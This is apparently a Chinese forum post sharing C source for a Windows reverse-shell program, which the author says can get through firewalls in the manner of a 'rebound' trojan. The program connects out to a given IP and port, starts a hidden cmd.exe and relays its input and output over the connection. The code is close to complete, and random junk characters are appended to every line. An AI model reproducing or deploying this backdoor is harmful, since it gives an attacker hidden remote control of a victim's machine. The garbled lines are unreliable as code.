这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l2v4SvbX
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/* ============================== OBGA~E;%
Rebound port in Windows NT {@T8i^EI
By wind,2006/7 =@#[@Ia
===============================*/ %O5
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#include txF)R[dZK
#include `;[j`v8O
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#pragma comment(lib,"wsock32.lib") ]+1?T)<!
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void OutputShell(); X#l]%IrW!
SOCKET sClient; T6s~f$G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8no_xFA
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void main(int argc,char **argv) .#"O VI]#
{ +Eil:Jz
WSADATA stWsaData; X[L6Av
int nRet; ISHNeO8
SOCKADDR_IN stSaiClient,stSaiServer; |ITSd%`3_
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if(argc != 3) }-3|
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{ mQRQ2SN6
printf("Useage:\n\rRebound DestIP DestPort\n"); C-@
return; -4P2 2
} _pu G?p
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WSAStartup(MAKEWORD(2,2),&stWsaData); }}a<!L,{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "%O,*t
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stSaiClient.sin_family = AF_INET; d4"KM+EP?
stSaiClient.sin_port = htons(0); 3kxI'0&T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); GarPnb
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) G~Xh4*#J
{ L8<Yk`jx
printf("Bind Socket Failed!\n"); 3y!yz3E
return; ;Qpp[V`
} S~WsGLF s
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stSaiServer.sin_family = AF_INET; n\v\<mVTb7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :Jp$_T&E
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); z7+y{-{Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %|(~k*s4
{ $y!k)"k
printf("Connect Error!"); ^%X,Rml<e
return; (k?,+jnR
} lk $S"OH!
OutputShell(); A1xY8?#?~c
} )A]E:]2
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void OutputShell() *G"vV>OSV
{ tAD{{GW9
char szBuff[1024]; hJ8|KPgdw
SECURITY_ATTRIBUTES stSecurityAttributes; yteJHaq
OSVERSIONINFO stOsversionInfo; rvT75dV0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MpbH!2J
STARTUPINFO stStartupInfo; .pNPC|XU
char *szShell; `Q2
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PROCESS_INFORMATION stProcessInformation; iqecm]Z0
unsigned long lBytesRead; (5@9j
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w7Nb+/,sg
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); WeGT}
stSecurityAttributes.lpSecurityDescriptor = 0; MRvtuE|g
stSecurityAttributes.bInheritHandle = TRUE; E.v~<[g
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #pJ^w>YNy
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J-g#zs
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7+aTrE{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "rz|sbj
stStartupInfo.wShowWindow = SW_HIDE; y}jX/Ln
stStartupInfo.hStdInput = hReadPipe; Va"_.8n|+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; M 7j0&>NTG
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GetVersionEx(&stOsversionInfo); 4kO[|~#
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switch(stOsversionInfo.dwPlatformId) A3%s5`vNvH
{ Ou IoO
case 1: Y7R"~IA$
szShell = "command.com"; 8ID
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break; (;=:QjaoZ
default: X&._<2
szShell = "cmd.exe"; LPbZ.
break; (j-[m\wF
} L{$ZL &
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); E^S[8=
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send(sClient,szMsg,77,0); B\&;eZY'G
while(1) ~:ddTv?F
{ Sc
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H`4H(KWm
if(lBytesRead) gkUG*Zw
{ }9fH`C/m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -ecP@,
send(sClient,szBuff,lBytesRead,0); 6L~@jg~0A[
} \RZFq<6>
else \ief [
{ +~J?/
lBytesRead=recv(sClient,szBuff,1024,0); d,au&WZ;_
if(lBytesRead<=0) break; ]X+3"
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [X:mmM0gd
} JDVMq=ui
} "H>L!v
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return; UD[S>{
}